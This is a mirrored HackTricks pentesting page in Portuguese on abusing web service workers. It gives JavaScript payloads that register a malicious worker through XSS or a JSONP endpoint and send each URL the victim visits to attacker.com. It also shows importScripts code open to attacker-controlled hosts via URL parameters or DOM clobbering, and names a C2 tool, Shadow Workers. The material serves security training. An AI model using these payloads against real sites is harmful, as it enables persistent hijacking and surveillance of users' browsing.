Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 13:43:24 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

8.5 KiB
Raw Blame History

Explorando os Service Workers

Aprenda hacking AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)!

Grupo de Segurança Try Hard

{% embed url="https://discord.gg/tryhardsecurity" %}

Informações Básicas

Um service worker é um script executado pelo seu navegador em segundo plano, separado de qualquer página da web, permitindo recursos que não requerem uma página da web ou interação do usuário, melhorando assim as capacidades de processamento offline e em segundo plano. Informações detalhadas sobre service workers podem ser encontradas aqui. Ao explorar service workers em um domínio da web vulnerável, os atacantes podem obter controle sobre as interações da vítima com todas as páginas dentro desse domínio.

Verificando a Existência de Service Workers

Service workers existentes podem ser verificados na seção Service Workers da guia Application nas Ferramentas do Desenvolvedor. Outro método é visitar chrome://serviceworker-internals para uma visualização mais detalhada.

Notificações Push

As permissões de notificação push impactam diretamente a capacidade de um service worker se comunicar com o servidor sem interação direta do usuário. Se as permissões forem negadas, limita o potencial do service worker de representar uma ameaça contínua. Por outro lado, conceder permissões aumenta os riscos de segurança ao permitir a recepção e execução de possíveis exploits.

Ataque Criando um Service Worker

Para explorar essa vulnerabilidade, você precisa encontrar:

  • Uma maneira de enviar arquivos JS arbitrários para o servidor e um XSS para carregar o service worker do arquivo JS enviado
  • Uma solicitação JSONP vulnerável onde você pode manipular a saída (com código JS arbitrário) e um XSS para carregar o JSONP com um payload que irá carregar um service worker malicioso.

No exemplo a seguir, vou apresentar um código para registrar um novo service worker que irá ouvir o evento fetch e enviar para o servidor do atacante cada URL acessado (este é o código que você precisaria enviar para o servidor ou carregar via uma resposta JSONP vulnerável):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

E este é o código que irá registrar o worker (o código que você deveria ser capaz de executar abusando de um XSS). Neste caso, uma requisição GET será enviada para o servidor dos atacantes notificando se o registro do service worker foi bem-sucedido ou não:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

No caso de abusar de um ponto final JSONP vulnerável, você deve colocar o valor dentro de var sw. Por exemplo:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Existe um C2 dedicado à exploração de Service Workers chamado Shadow Workers que será muito útil para abusar dessas vulnerabilidades.

A diretiva de cache de 24 horas limita a vida de um service worker (SW) malicioso ou comprometido a no máximo 24 horas após a correção de uma vulnerabilidade de XSS, assumindo status de cliente online. Para minimizar a vulnerabilidade, os operadores do site podem reduzir o Tempo de Vida (TTL) do script do SW. Os desenvolvedores também são aconselhados a criar um interruptor de desativação do service worker para desativação rápida.

Abusando do importScripts em um SW via DOM Clobbering

A função importScripts chamada de um Service Worker pode importar um script de um domínio diferente. Se esta função for chamada usando um parâmetro que um atacante poderia modificar, ele seria capaz de importar um script JS de seu domínio e obter XSS.

Isso até mesmo burla as proteções CSP.

Exemplo de código vulnerável:

  • index.html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Com DOM Clobbering

Para mais informações sobre o que é o DOM Clobbering, consulte:

{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}

Se a URL/domínio que o SW está usando para chamar importScripts estiver dentro de um elemento HTML, é possível modificá-lo via DOM Clobbering para fazer o SW carregar um script do seu próprio domínio.

Para um exemplo disso, consulte o link de referência.

Referências

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!